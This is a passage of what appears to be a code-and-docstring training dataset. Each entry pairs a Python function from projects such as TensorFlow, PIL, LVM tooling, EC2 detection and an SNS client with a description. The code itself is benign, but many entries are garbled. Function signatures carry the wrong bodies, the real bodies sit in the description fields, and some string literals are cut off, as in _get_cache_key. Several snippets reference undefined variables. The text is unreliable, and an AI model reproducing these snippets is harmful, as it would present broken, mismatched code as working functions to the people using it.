C{type}, or raise anexception describing the problem using C{name}.@param name: a name to use to describe the type mismatch in the error ifone occurs@type name: native L{str}@param value: the value to check@type value: L{object}@param types: the expected types of C{value}@type types: L{tuple} of L{type}@raise TypeError: if there is a type mismatch between C{value} and C{type}@return: C{value} if the type check succeeds"} {"code": "def sendChangePrivateRequest(self, partyId, newPrivateStatus):\n if errorCode == PartyGlobals.ChangePartyFieldErrorCode.AllOk:\n self.notify.info(\"succesfully changed private field for the party\")\n for partyInfo in localAvatar.hostedParties:\n if partyInfo.partyId == partyId:\n partyInfo.isPrivate = newPrivateStatus\n messenger.send(\"changePartyPrivateResponseReceived\", [partyId, newPrivateStatus, errorCode])\n else:\n messenger.send(\"changePartyPrivateResponseReceived\", [partyId, newPrivateStatus, errorCode])\n self.notify.info(\"FAILED changing private field for the party\")\n\n", "nl": "Request AI to change the party to either private or public.self.sendUpdate('changePrivateRequest', [partyId, newPrivateStatus])def changePrivateResponse(self, partyId, newPrivateStatus, errorCode):Handle the response to our request to change private status."} {"code": "def apply_gradients(self, grads_and_vars, global_step=None, name=None):\n if not self._weight_decay:\n return False\n if self._exclude_from_weight_decay:\n for r in self._exclude_from_weight_decay:\n if re.search(r, param_name) is not None:\n return False\n return True\n", "nl": "See base class.assignments = []global_step = tf.train.get_or_create_global_step() + 1for (grad, param) in grads_and_vars:if grad is None or param is None:continueparam_name = self._get_variable_name(param.name)m = tf.get_variable(name=param_name + \"/lamb_m\",shape=param.shape.as_list(),dtype=tf.float32,trainable=False,initializer=tf.zeros_initializer())v = tf.get_variable(name=param_name + \"/lamb_v\",shape=param.shape.as_list(),dtype=tf.float32,trainable=False,initializer=tf.zeros_initializer())next_m = (tf.multiply(self._beta_1, m) + tf.multiply(tf.constant(1.0)- self._beta_1, grad))next_v = (tf.multiply(self._beta_2, v) + tf.multiply(tf.constant(1.0)- self._beta_2, tf.square(grad)))next_mm = next_m / (tf.constant(1.0) -tf.pow(self._beta_1, tf.cast(global_step, tf.float32)))next_vv = next_v / (tf.constant(1.0) -tf.pow(self._beta_2, tf.cast(global_step, tf.float32)))w_norm = tf.norm(param, ord=2)g_norm = tf.norm(grad, ord=2)g_norm_hat = tf.norm(next_mm / tf.sqrt(next_vv + self._epsilon) + self._weight_decay * param)trust_ratio = tf.where(tf.greater(w_norm, 0),tf.where(tf.greater(g_norm, 0),w_norm / g_norm_hat,1.0),1.0)trust_ratio = tf.clip_by_value(trust_ratio, 0, 10.0)update = next_mm / (tf.sqrt(next_vv) + self._epsilon)if self._do_use_weight_decay(param_name):update += self._weight_decay * paramupdate_with_lr = trust_ratio * self.learning_rate * updatenext_param = param - update_with_lrassignments.extend([param.assign(next_param),m.assign(next_m),v.assign(next_v)])return tf.group(*assignments, name=name)def _do_use_weight_decay(self, param_name):Whether to use L2 weight decay for `param_name`."} {"code": "def createSTP(self, stp_filename, parameters):\n wordsize = parameters[\"wordsize\"]\n rounds = parameters[\"rounds\"]\n weight = parameters[\"sweight\"]\n\n with open(stp_filename, 'w') as stp_file:\n stp_file.write(\"% Input File for STP\\n% Salsa w={}\"\n \"rounds={}\\n\\n\\n\".format(wordsize, rounds))\n\n a = [\"a{}r{}\".format(j, i) for i in range(rounds + 1) for j in range(16)]\n b = [\"b{}r{}\".format(j, i) for i in range(rounds) for j in range(16)]\n w = [\"w{}r{}\".format(j, i) for i in range(rounds) for j in range(16)]\n\n stpcommands.setupVariables(stp_file, a, wordsize)\n stpcommands.setupVariables(stp_file, b, wordsize)\n stpcommands.setupVariables(stp_file, w, wordsize)\n\n stpcommands.setupWeightComputation(stp_file, weight, w, wordsize, 1)\n\n for rnd in range(rounds):\n if rnd % 2 != 0:\n for row in range(4):\n a_in = [a[(i + row) % 4 + 4 * row + 16 * rnd] for i in range(4)]\n a_out = [a[(i + row) % 4 + 4 * row + 16 * (rnd + 1)] for i in range(4)]\n tmp_b = [b[i + 4 * row + 16 * rnd] for i in range(4)]\n tmp_w = [w[i + 4 * row + 16 * rnd] for i in range(4)]\n self.setupQuarterRound(stp_file, a_in, tmp_b, a_out, tmp_w, wordsize)\n else:\n for col in range(4):\n a_in = [a[(i * 4 + 4 * col + col) % 16 + 16 * rnd] for i in range(4)]\n a_out = [a[(i * 4 + 4 * col + col) % 16 + 16 * (rnd + 1)] for i in range(4)]\n tmp_b = [b[i * 4 + col + 16 * rnd] for i in range(4)]\n tmp_w = [w[i * 4 + col + 16 * rnd] for i in range(4)]\n self.setupQuarterRound(stp_file, a_in, tmp_b, a_out, tmp_w, wordsize)\n\n stpcommands.assertNonZero(stp_file, a, wordsize)\n\n for key, value in parameters[\"fixedVariables\"].items():\n stpcommands.assertVariableValue(stp_file, key, value)\n\n for char in parameters[\"blockedCharacteristics\"]:\n stpcommands.blockCharacteristic(stp_file, char, wordsize)\n\n stpcommands.setupQuery(stp_file)\n\n return\n", "nl": "Creates an STP file to find a characteristic for Salsa withthe given parameters."} {"code": "def GetSoftmaxProbsBySeqIndices(logits, indices, keepdims=False):\n probs = tf.nn.softmax(logits)\n return GatherTensorValuesBySeqIndices(probs, indices, keepdims)\n\n", "nl": "Get softmax probabilities from index sequences given logits sequences.Args:logits: a tensor of [batch, time, num_class] or [time, batch, num_class].indices: a tensor of [batch, time] or [time, batch].keepdims: bool, expand the last dimension of the returned tensor if True.Returns:a tensor of [batch, time] or [time, batch] for the corresponding softmaxprobabilities. If keepdims is True, returned tensor has a third dimensionof size 1."} {"code": "def execute_replication_callbacks(modules):\n master_copy = modules[0]\n nr_modules = len(list(master_copy.modules()))\n ctxs = [CallbackContext() for _ in range(nr_modules)]\n\n for i, module in enumerate(modules):\n for j, m in enumerate(module.modules()):\n if hasattr(m, '__data_parallel_replicate__'):\n m.__data_parallel_replicate__(ctxs[j], i)\n\n\nclass DataParallelWithCallback(DataParallel):\n \"\"\"", "nl": "Execute an replication callback `__data_parallel_replicate__` on each module created by original replication.The callback will be invoked with arguments `__data_parallel_replicate__(ctx, copy_id)`Note that, as all modules are isomorphism, we assign each sub-module with a context(shared among multiple copies of this module on different devices).Through this context, different copies can share some information.We guarantee that the callback on the master copy (the first copy) will be called ahead of calling the callbackof any slave copies."} {"code": "def func(self):\n super(MuxCommand, self).func()", "nl": "This is the hook function that actually does all the work. It is calledby the `cmdhandler` right after `self.parser()` finishes, and so has accessto all the variables defined therein."} {"code": "def get_expansion(block, expansion=None):\n if isinstance(expansion, int):\n assert expansion > 0\n elif expansion is None:\n if hasattr(block, 'expansion'):\n expansion = block.expansion\n elif issubclass(block, Bottleneck):\n expansion = 4\n else:\n raise TypeError(f'expansion is not specified for {block.__name__}')\n else:\n raise TypeError('expansion must be an integer or None')\n\n return expansion\n\n\nclass ResLayer(nn.Sequential):\n \"\"\"ResLayer to build ResNet style backbone.", "nl": "Get the expansion of a residual block.The block expansion will be obtained by the following order:1. If ``expansion`` is given, just return it.2. If ``block`` has the attribute ``expansion``, then return``block.expansion``.3. Return the default value according the the block type:1 for ``BasicBlock`` and 4 for ``Bottleneck``.Args:block (class): The block class.expansion (int | None): The given expansion ratio.Returns:int: The expansion of the block."} {"code": "def _parse_lagged_choices(optim_paras, options, params):\n regex_pattern = r\"lagged_choice_([0-9]+)\"\n\n covariates = options[\"covariates\"]\n matches = []\n for cov in covariates:\n matches += re.findall(regex_pattern, covariates[cov])\n\n n_lc_covariates = 0 if not matches else pd.to_numeric(matches).max()\n", "nl": "Parse lagged choices from covariates and params.Lagged choices can only influence behavior of individuals through covariates of theutility function. Thus, check the covariates for any patterns like`\"lagged_choice_[0-9]+\"`.Then, compare the number of lags required by covariates with the information onlagged choices in the parameter specification. For the estimation, there does nothave to be any information on lagged choices. For the simulation, we need parametersto define the probability of a choice being the lagged choice.Warnings--------UserWarningIf not enough lagged choices are specified in params and the model can only beused for estimation.UserWarningIf the model contains superfluous definitions of lagged choices."} {"code": "def getchannel(self, channel):\n self.load()\n\n if isinstance(channel, str):\n try:\n channel = self.getbands().index(channel)\n except ValueError:\n raise ValueError('The image has no channel \"{}\"'.format(channel))\n\n return self._new(self.im.getband(channel))\n", "nl": "Returns an image containing a single channel of the source image.:param channel: What channel to return. Could be index(0 for \"R\" channel of \"RGB\") or channel name(\"A\" for alpha channel of \"RGBA\").:returns: An image in \"L\" mode... versionadded:: 4.3.0"} {"code": "def __init__(self, params):\n\n This differs from layers.LayerNorm in that it fixes both scale and bias at\n 0.\n\n Args:\n x: An input tensor to be normalized.\n epsilon: Tiny value used to guard against rsqrt of 0.\n\n Returns:\n 'x' with its last dimension normalized.\n \"\"\"", "nl": "Constructs an instance which tracks its own set of centroids.super().__init__(params)p = self.paramsassert p.num_clustersassert p.dim_per_headdef _CreateLayerVariables(self):super()._CreateLayerVariables()p = self.paramsself._dtype = tf.bfloat16 if p.use_bfloat16 else tf.float32# The per-head centroids. Shape [N, K, H].if p.apply_layer_norm:p.params_init = py_utils.WeightInit.UniformUnitScaling()else:p.params_init = py_utils.WeightInit.Gaussian()means = py_utils.WeightParams(shape=[p.num_heads, p.num_clusters, p.dim_per_head],init=p.params_init,dtype=self._dtype,collections=[self.__class__.__name__ + '_vars'])self.CreateVariable('means', means, trainable=p.trainable)if p.use_ema:init_value_op = getattr(self.vars.means, 'initialized_value', None)if callable(init_value_op):initial_value = self.vars.means.initialized_value()else:initial_value = self.vars.meansema_means = py_utils.WeightParams(init=py_utils.WeightInit.CustomConstantVarInit(custom_v_init=initial_value),dtype=p.dtype,shape=[p.num_heads, p.num_clusters, p.dim_per_head],collections=[self.__class__.__name__ + '_vars'])ema_count = py_utils.WeightParams(shape=[p.num_heads, p.num_clusters],init=py_utils.WeightInit.Constant(0.),dtype=p.dtype,collections=[self.__class__.__name__ + '_vars'])self.CreateVariable('ema_means', ema_means, trainable=False)self.CreateVariable('ema_count', ema_count, trainable=False)@classmethoddef LayerNorm(cls, x, epsilon=1e-6):Performs layer normalization on the last dimension of 'x'."} {"code": "def getFileName():\n name = bpy.path.display_name_from_filepath(bpy.data.filepath)\n if name == \"\":\n return None\n return name\n", "nl": "Name of this .blend fileIf this is an unsaved file, return None"} {"code": "def lvcreate(volume, size_in_bytes, group):\n cmd = [\n 'lvm',\n 'lvcreate',\n '--autobackup', 'n',\n '--wipesignatures', 'y',\n '--size', '{size}B'.format(size=size_in_bytes),\n '--name', volume,\n group,\n ]\n\n\n return subproc.check_call(cmd)\n\n", "nl": "Create a new LVM logical volume."} {"code": "def login_service(service):\n if service not in login_registry:\n abort(404)\n provider = login_registry[service]", "nl": "Handle login with a registered service."} {"code": "def set_executable(self, executable):\n from .spawn import set_executable\n set_executable(executable)\n", "nl": "Sets the path to a python.exe or pythonw.exe binary used to runchild processes instead of sys.executable when using the 'spawn'start method. Useful for people embedding Python."} {"code": "def _get_cache_key(self, request):\n method = request.method\n\n if not request.user.is_authenticated or self.cache_ignore_auth:\n username = '*'\n else:\n username = request.user.username\n\n url = force_text(iri_to_uri(request.get_full_path()))\n\n key = '\n if len(key) > MAX_KEY_LENGTH:\n key = key[:(MAX_KEY_LENGTH - 33)] + '-' + hashlib.md5(key.encode('utf8')).hexdigest()\n\n return key\n", "nl": "Generate cache key that's exactly unique enough.Assumes that the response is determined by the request.method, authenticated user, and URL path."} {"code": "def test_assigned_issue(self):\n testcase = data_types.Testcase()\n testcase.bug_information = None\n testcase.put()\n\n resp = self.app.post_json('/', {\n 'testcaseId': testcase.key.id(),\n 'csrf_token': form.generate_csrf_token()\n })\n self.assertEqual(200, resp.status_int)\n self.assertIsNone(testcase.key.get())", "nl": "The testcase is assigned an issue.testcase = data_types.Testcase()testcase.bug_information = '1234'testcase.put()resp = self.app.post_json('/', {'testcaseId': testcase.key.id(),'csrf_token': form.generate_csrf_token()},expect_errors=True)self.assertEqual(400, resp.status_int)self.assertIsNotNone(testcase.key.get())def test_succeed(self):Delete."} {"code": "def __init__(self, infile=sys.stdin):\n self.ws_punc_regex = re.compile(r'[,\" \\t\\n]', re.V1 | re.U)\n self.ft = panphon.FeatureTable()\n self._validate_file(infile)\n", "nl": "Validate Unicode IPA from file relative to panphon database.infile -- File from which input is taken; by default, STDIN."} {"code": "def copy_if_hash_differs(vm, local_path, remote_path):\n local_hash = crypto.hash_file(local_path)\n basename = os.path.basename(local_path)\n output = session.cmd_output(\"md5sum %s\" % remote_path,\n timeout=int(\n params.get(\"md5sum_timeout\", 240)))\n if \"such file\" in output:\n remote_hash = \"0\"\n elif output:\n remote_hash = output.split()[0]\n else:\n LOG.warning(\"MD5 check for remote path %s did not return.\",\n remote_path)\n remote_hash = \"0\"\n if remote_hash == local_hash and directory_exists(destination_autotest_path):\n return None\n LOG.debug(\"Copying %s to guest (remote hash: %s, local hash:%s)\",\n basename, remote_hash, local_hash)\n dest_dir = os.path.dirname(remote_path)\n if not directory_exists(dest_dir):\n session.cmd(\"mkdir -p %s\" % dest_dir)\n vm.copy_files_to(local_path, remote_path)\n return remote_path\n", "nl": "Copy a file to a guest if it doesn't exist or if its MD5sum differs.:param vm: VM object.:param local_path: Local path.:param remote_path: Remote path.:return: remote file path"} {"code": "def parse(cls, src, dist=None):\n m = cls.pattern.match(src)\n if not m:\n msg = \"EntryPoint must be in 'name=module:attrs [extras]' format\"\n raise ValueError(msg, src)\n res = m.groupdict()\n extras = cls._parse_extras(res['extras'])\n attrs = res['attr'].split('.') if res['attr'] else ()\n return cls(res['name'], res['module'], attrs, extras, dist)\n\n @classmethod", "nl": "Parse a single entry point from string `src`Entry point syntax follows the form::name = some.module:some.attr [extra1, extra2]The entry name and module name are required, but the ``:attrs`` and``[extras]`` parts are optional"} {"code": "def __repr__(self):\n tree = self.__class__()\n self.foreach(tree.insert, order=-1)\n return tree\n\n __copy__ = copy\n", "nl": "T.__repr__(...) <==> repr(x)tpl = \"%s({%s})\" % (self.__class__.__name__, '%s')return tpl % \", \".join((\"%r: %r\" % item for item in self.items()))def copy(self):T.copy() -> get a shallow copy of T."} {"code": "def make_rpm(self):\n os.chdir(self.build_dir)\n process.system(\"make rpm\")\n\n package = make_rpm\n", "nl": "Run \"make rpm\""} {"code": "def takagi(N, tol=1e-13, rounding=13):\n (n, m) = N.shape\n if n != m:\n raise ValueError(\"The input matrix must be square\")\n if np.linalg.norm(N - np.transpose(N)) >= tol:\n raise ValueError(\"The input matrix is not symmetric\")\n\n N = np.real_if_close(N)\n\n if np.allclose(N, 0):\n return np.zeros(n), np.eye(n)\n\n if np.isrealobj(N):\n l, U = np.linalg.eigh(N)\n vals = np.abs(l)\n phases = np.sqrt(np.complex128([1 if i > 0 else -1 for i in l]))\n Uc = U @ np.diag(phases)\n list_vals = [(vals[i], i) for i in range(len(vals))]\n list_vals.sort(reverse=True)\n sorted_l, permutation = zip(*list_vals)\n permutation = np.array(permutation)\n Uc = Uc[:, permutation]\n return np.array(sorted_l), Uc\n\n v, l, ws = np.linalg.svd(N)\n w = np.transpose(np.conjugate(ws))\n rl = np.round(l, rounding)\n\n result = []\n for k, g in groupby(rl):\n result.append(list(g))\n\n kk = 0\n for k in result:\n for ind, j in enumerate(k):\n k[ind] = kk\n kk = kk + 1\n\n vas = []\n was = []\n for i in result:\n vas.append(v[:, i])\n was.append(w[:, i])\n\n qs = []\n for i in range(len(result)):\n qs.append(sqrtm(np.transpose(vas[i]) @ was[i]))\n\n qb = block_diag(*qs)\n\n U = v @ np.conj(qb)\n return rl, U\n\n", "nl": "rAutonne-Takagi decomposition of a complex symmetric (not Hermitian!) matrix.Note that singular values of N are considered equal if they are equal after np.round(values, tol).See :cite:`cariolaro2016` and references therein for a derivation.Args:N (array[complex]): square, symmetric matrix Nrounding (int): the number of decimal places to use when rounding the singular values of Ntol (float): the tolerance used when checking if the input matrix is symmetric: :math:`|N-N^T| <` tolReturns:tuple[array, array]: (rl, U), where rl are the (rounded) singular values,and U is the Takagi unitary, such that :math:`N = U \\diag(rl) U^T`."} {"code": "def is_an_instance():\n sys_hypervisor_uuid = \"/sys/hypervisor/uuid\"\n try:\n if is_nitro():\n return True\n else:\n with open(sys_hypervisor_uuid) as uuid_file:\n if not uuid_file.readline().startswith(\"ec2\"):\n return False\n resp = requests.get(\n \"http://169.254.169.254/latest/dynamic/instance-identity/document\").status_code\n if resp == 200:\n return True\n elif resp == 401:\n token = (\n requests.put(\n \"http://169.254.169.254/latest/api/token\",\n headers={\n 'X-aws-ec2-metadata-token-ttl-seconds': '21600'},\n verify=False\n )\n ).text\n return requests.get(\"http://169.254.169.254/latest/dynamic/instance-identity/document\",\n headers={'X-aws-ec2-metadata-token': token}).status_code == 200\n else:\n return False\n except (IOError, OSError, requests.RequestException):\n return False\n\n", "nl": "Return whether the running system is an EC2 instance based on criteria in AWS EC2 documentation.AWS EC2 documentation: http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/identify_ec2_instances.html"} {"code": "def get_method_bytecode(self, method_object: MethodObject) -> Set[MethodObject]:\n pass\n\n @abstractmethod", "nl": "Return the corresponding bytecode according to thegiven class name and method name.:param method_object: the MethodObject instance:return: a generator of all bytecode instructions"} {"code": "def sort(self,sort_func,reverse=False):\n self.__data = sorted(self.__data,key=sort_func,reverse=reverse)\n", "nl": "Sort data using arbitrary functionPerforms an in-place sort based on the suppled sort_func.sort_func should be a function object which takes a data lineobject as input and returns a single numerical value; the datalines will be sorted in ascending order of these values (ordescending order if reverse is set to True).To sort on the value of a specific column use e.g.>>> tabfile.sort(lambda line: line['col'])Arguments:sort_func: function object taking a data line object asinput and returning a single numerical valuereverse: (optional) Boolean, either False (default) to sortin ascending order, or True to sort in descending order"} {"code": "def space_to_channels(x, n=2, order=NCHW):\n s, ts = x.shape, tf.shape(x)\n if order == NCHW:\n x = tf.reshape(x, [-1, s[1], ts[2] // n, n, ts[3] // n, n])\n x = tf.transpose(x, [0, 1, 3, 5, 2, 4])\n x = tf.reshape(x, [-1, s[1] * (n ** 2), ts[2] // n, ts[3] // n])\n else:\n x = tf.reshape(x, [-1, ts[1] // n, n, ts[2] // n, n, s[3]])\n x = tf.transpose(x, [0, 1, 3, 2, 4, 5])\n x = tf.reshape(x, [-1, ts[1] // n, ts[2] // n, s[3] * (n ** 2)])\n return x\n\n", "nl": "Reshape image tensor by moving space to channels.Args:x: 4D tensor in NCHW format.n: integer scale (must be a power of 2).Returns:Reshaped 4D tensor image of shape (N, C * n**2, H // n, W // n)."} {"code": "def test_selectEncoder_GLONASSL2():\n enabledBands = {NormalRateConfig.GPS.L1.NAME: False,\n NormalRateConfig.GPS.L2.NAME: False,\n NormalRateConfig.GLONASS.L1.NAME: False,\n NormalRateConfig.GLONASS.L2.NAME: True}\n encoder = selectEncoder('1bit', NormalRateConfig, enabledBands)\n assert isinstance(encoder, GLONASSL2BitEncoder)\n\n", "nl": "Encoder selection test"} {"code": "def internalcode(f):", "nl": "Marks the function as internally usedinternal_code.add(f.__code__)return fdef is_undefined(obj):Check if the object passed is undefined. This does nothing more than"} {"code": "def setUpModule():\nconfig = config\n), shell=True)\n\nclass FileCd(BaseTest):\n\n folders = [ os.path.join(config.base_folder, f) for f in (\n 'test_file_cd/dir1',\n 'test_file_cd/dir1/dir2',\n 'test_file_cd/dir1/dir2/dir3',\n 'test_file_cd/dir1/dir2/dir3/dir4',\n ) ]\n", "nl": "subprocess.check_output(BASE_FOLDER=\"{config.base_folder}/test_file_cd/\"rm -rf \"$BASE_FOLDER\"mkdir -p \"$BASE_FOLDER/dir1/dir2/dir3/dir4\"chmod 0 \"$BASE_FOLDER/dir1/dir2/dir3/dir4\".format("} {"code": "def test_store(self):\n self.assertIsInstance(self.node.display_name, basestring)\n\n\nclass _TestContainer(_TestNode):\n \"\"\" Class for testing compass_model.Container implementations. \"\"\"", "nl": " Node.store returns a data store of the same class and URL. self.assertIsInstance(self.node.store, self.store_cls)self.assertEqual(self.node.store.url, self.store.url)def test_display_name(self): display_name exists and is a string "} {"code": "def min(self):\n\n :param var: Valor que se usara como variable\n :return: el resultado de evaluar la expression con un valor dado\n :rtype: float\n \"\"\"", "nl": " Minimo valor del range val = self.range[0] if self.range else self.params.get(\"min\", None)return valdef eval(self, var): Metodo para aplicar la funcion localmente con un valor dado"} {"code": "def get_added_vocab(self) -> Dict[str, int]:\n base_vocab = self._tokenizer.get_vocab(with_added_tokens=False)\n full_vocab = self._tokenizer.get_vocab(with_added_tokens=True)\n added_vocab = dict((tok, index) for tok, index in full_vocab.items() if tok not in base_vocab)\n return added_vocab\n", "nl": "Returns the added tokens in the vocabulary as a dictionary of token to index.Returns::obj:`Dict[str, int]`: The added tokens."} {"code": "def map_text(text, pos, direction):\n pos = V2(pos)\n direction = V2(direction)\n last_cell = MarkCell(None, pos, False, True, direction)\n from_map = {pos: [last_cell] }\n to_map = {None: [last_cell] }\n rect = terminedia.Rect((0, 0), text.size)\n counter = 0\n marks = _ensure_sequence(text.marks.abs_get(pos, _EMPTY_MARK,))\n while True:\n prev_pos = pos\n\n pos, direction, flow_changed, position_is_used = text.marks.move_along_marks(prev_pos, direction)\n\n cell = MarkCell(prev_pos, pos, flow_changed, position_is_used, direction)", "nl": "Given a text plane, maps out the way that each reachable cell can be acessedThe map re-interprets the Marks that affect text flow found on the text plan -but Marks with \"special_index\" and other kind of dynamic marks will likelybe missed by this mapping.With the map, afterwards, givena cell position, one can backtrack to know the distance of the last typed character,and on which softline it is"} {"code": "def update(self, dest, url, rev_options):\n raise NotImplementedError\n\n @classmethod", "nl": "Update an already-existing repo to the given ``rev_options``.Args:rev_options: a RevOptions object."} {"code": "def test_create_alarm_missing_np_id_400s(self):\n (resp, data) = self.successResultOf(\n json_request(self, self.root, b\"POST\",\n '{0}/entities/{1}/alarms'.format(self.uri, self.entity_id),\n json.dumps({'label': 'wow-alarm',\n 'check_id': self.check_id}).encode(\"utf-8\")))\n self.assertEquals(resp.code, 400)\n self.assertEquals(data['type'], 'badRequest')\n self.assertEquals(data['message'], 'Validation error for key \\'notification_plan_id\\'')\n", "nl": "When trying to create an alarm and missing a `notification_plan_id`property, MaaS returns 400 Bad Request."} {"code": "def collect_from_db(self, matchrule: dict, fetchChildren: bool, fetchSources: bool, fetchEntities: bool) -> list:\n\n events = dict()\n\n self.log.debug(f\"match rule: {matchrule}\")\n query_args = self.build_db_criteria(matchrule)\n if not query_args:\n self.log.error(f\"Error encountered parsing match rule: {matchrule}.\")\n return None\n\n query_args['instanceId'] = self.scanId\n self.log.debug(f\"db query: {query_args}\")\n for row in self.dbh.scanResultEvent(**query_args):\n events[row[8]] = {\n 'type': row[4],\n 'data': row[1],\n 'module': row[3],\n 'id': row[8],\n 'entity_type': self.type_entity_map[row[4]],\n 'source': [],\n 'child': [],\n 'entity': []\n }\n\n if fetchSources or fetchEntities:\n self.enrich_event_sources(events)\n\n if fetchChildren:\n self.enrich_event_children(events)\n\n if fetchEntities:\n self.enrich_event_entities(events)\n\n self.log.debug(f\"returning {len(events.values())} events from match_rule {matchrule}\")\n return list(events.values())\n", "nl": "Collect event values from database.Args:matchrule (dict): correlation rulefetchChildren (bool): TBDfetchSources (bool): TBDfetchEntities (bool): TBDReturns:list: event values"} {"code": "def __getitem__(self, idx):\n img_info = self.img_infos[idx]\n ann_info = self._load_ann_info(idx)\n\n bgr_img = cv2.imread(osp.join(self.image_dir, img_info['file_name']), cv2.IMREAD_COLOR).astype(np.float32)\n if self.preproc_mode == 'tf':\n rgb_img = cv2.cvtColor(bgr_img, cv2.COLOR_BGR2RGB)\n img = self._tf_preprocessing(rgb_img)\n elif self.preproc_mode == 'caffe':\n img = self._caffe_preprocessing(bgr_img)\n elif self.preproc_mode == 'rgb':\n rgb_img = cv2.cvtColor(bgr_img, cv2.COLOR_BGR2RGB)\n img = self._rgb_preprocessing(rgb_img)\n else:\n raise NotImplementedError(\"Preprocessing mode '{}' not supported\".format(self.preproc_mode))\n\n ori_shape = img.shape\n\n ann = self._parse_ann_info(ann_info)\n bboxes = ann['bboxes']\n labels = ann['labels']\n\n flip = True if np.random.rand() < self.flip_ratio else False\n\n if self.mask:\n masks = np.array([self.mask_transform(self.coco.annToMask(i), flip=flip) \\\n for i in ann_info])\n masks = masks.astype(np.int32)\n\n img, img_shape, scale_factor = self.img_transform(img, flip)\n\n pad_shape = img.shape\n\n bboxes, labels = self.bbox_transform(bboxes, labels, img_shape, scale_factor, flip)\n\n img_meta_dict = dict({\n 'ori_shape': ori_shape,\n 'img_shape': img_shape,\n 'pad_shape': pad_shape,\n 'scale_factor': scale_factor,\n 'flip': flip\n })\n\n img_meta = utils.compose_image_meta(img_meta_dict)\n if self.train:\n if self.mask:\n return img, img_meta, bboxes, labels, masks\n return img, img_meta, bboxes, labels\n return img, img_meta\n\n", "nl": "Load the image and its bboxes for the given index.Args:idx: the index of images.Returns:tuple: A tuple containing the following items: image,bboxes, labels."} {"code": "def adjacent_to(self, other):\n return self.expr.op('-|-')(other)\n", "nl": "Boolean expression. Returns true if the range in the columnis adjacent to the range in the operand."} {"code": "def ViewData(self):\n return self._viewData\n", "nl": " Return the node view data attributes (properties).:returns dict: {property_name: property_value}"} {"code": "def find(a, sub, start=0, end=None):\n return _vec_string(\n a, integer, 'find', [sub, start] + _clean_args(end))\n\n", "nl": "For each element, return the lowest index in the string wheresubstring `sub` is found.Calls `str.find` element-wise.For each element, return the lowest index in the string wheresubstring `sub` is found, such that `sub` is contained in therange [`start`, `end`].Parameters----------a : array_like of str or unicodesub : str or unicodestart, end : int, optionalOptional arguments `start` and `end` are interpreted as inslice notation.Returns-------out : ndarray or intOutput array of ints. Returns -1 if `sub` is not found.See also--------str.find"} {"code": "def handle_message(self, message):\n return message\n", "nl": "Handle a single message.Over ride this to provide some processing and an individual message.The result of this function is what is passed to :meth:`handle_batch`.This may be overridden or passed into the constructor. By default itsimply returns the message.Raising an exception in :meth:`handle_message` will cause that messageto be requeued and excluded from the batch."} {"code": "def register_endpoints(self):\n _LOGGER.info('registering endpoints: %s', self.appname)\n\n endpoints = self.manifest.get('endpoints', [])\n for endpoint in endpoints:\n port = endpoint.get('port', '')\n ep_name = endpoint.get('name', str(port))\n ep_proto = endpoint.get('proto', 'tcp')\n\n if not ep_name:\n _LOGGER.critical('Logic error, no endpoint info: %s',\n self.manifest)\n return\n\n path = z.path.endpoint(self.appname, ep_proto, ep_name)\n _LOGGER.info('un-register endpoint: %s', path)\n try:\n data, _metadata = self.zkclient.get(path)\n if data and data.decode().split(':')[0] == self.hostname:\n self.zkclient.delete(path)\n except kazoo.client.NoNodeError:\n _LOGGER.info('endpoint node does not exist.')\n", "nl": "Registers service endpoint._LOGGER.info('registering endpoints: %s', self.appname)endpoints = self.manifest.get('endpoints', [])for endpoint in endpoints:internal_port = endpoint['port']ep_name = endpoint.get('name', str(internal_port))ep_port = endpoint['real_port']ep_proto = endpoint.get('proto', 'tcp')hostport = self.hostname + ':' + str(ep_port)path = z.path.endpoint(self.appname, ep_proto, ep_name)_LOGGER.info('register endpoint: %s %s', path, hostport)# Endpoint node is created with default acl. It is ephemeral# and not supposed to be modified by anyone._create_ephemeral_with_retry(self.zkclient, path, hostport)def unregister_endpoints(self):Unregisters service endpoint."} {"code": "def add_admin(self, chat_id: Union[int, List[int], Tuple[int, ...]]) -> None:\n self.admins.add_member(chat_id)\n", "nl": "Adds a user/chat to the :attr:`admins` role. Will do nothing if user/chat is alreadypresent.Args:chat_id (:obj:`int`): The users id"} {"code": "def unsplit(self, use_idna=False):\n parse_result = self\n if use_idna and self.host:\n hostbytes = self.host.encode(\"idna\")\n host = hostbytes.decode(self.encoding)\n parse_result = self.copy_with(host=host)\n return parse_result.reference.unsplit()\n\n\nclass ParseResultBytes(\n namedtuple(\"ParseResultBytes\", PARSED_COMPONENTS), ParseResultMixin\n):\n \"\"\"Compatibility shim for the urlparse.ParseResultBytes object.\"\"\"", "nl": "Create a URI string from the components.:returns: The parsed URI reconstituted as a string.:rtype: str"} {"code": "def apex_callback(request):\n redir = request.GET.get('came_from', \\\n route_url(apex_settings('came_from_route'), request))\n headers = []\n if 'token' in request.POST:\n auth = None\n try:\n auth = apex_id_from_token(request)\n except:\n pass\n if auth:\n user = None\n if not request.session.has_key('id'):\n user = AuthUser.get_by_login(auth['id'])\n if not user:\n id = None\n if request.session.has_key('id'):\n id = AuthID.get_by_id(request.session['id'])\n else:\n id = AuthID()\n DBSession.add(id)\n auth_info = auth['profile']['accounts'][0]\n user = AuthUser(\n login=auth_info['userid'],\n provider=auth_info['domain'],\n )\n if auth['profile'].has_key('verifiedEmail'):\n user.email = auth['profile']['verifiedEmail']\n id.users.append(user)", "nl": " apex_callback(request):no return value, called with route_url('apex_callback', request)This is the URL that Velruse returns an OpenID request to"} {"code": "def depends(self, dep_type: Type[T]) -> T:\n", "nl": "Returns a Depends object which FastAPI understands:param dep_type::return:"} {"code": "def _on_sigchld(self, watcher):\n watcher.stop()\n if os.WIFSIGNALED(watcher.rstatus):\n self._popen.returncode = -os.WTERMSIG(watcher.rstatus)\n else:\n assert os.WIFEXITED(watcher.rstatus)\n self._popen.returncode = os.WEXITSTATUS(watcher.rstatus)\n self._returnevent.set()\n log.debug(\"SIGCHLD watcher callback for %s invoked. Exitcode \"\n \"stored: %s\", self.pid, self._popen.returncode)\n", "nl": "Callback of libev child watcher. Called when libev event loopcatches corresponding SIGCHLD signal."} {"code": "def current_timestamp():\n fuzzing_strategies = environment.get_value('FUZZING_STRATEGIES')\n if fuzzing_strategies is None or not isinstance(fuzzing_strategies, dict):", "nl": "Returns the current timestamp. Needed for mocking.return time.time()def get_strategy_probability(strategy_name, default):Returns a strategy weight based on env variable |FUZZING_STRATEGIES|"} {"code": "def get_topic_attributes(self, topic):\n params = {'ContentType' : 'JSON',\n 'TopicArn' : topic}\n response = self.make_request('GetTopicAttributes', params, '/', 'GET')\n body = response.read()\n if response.status == 200:\n return 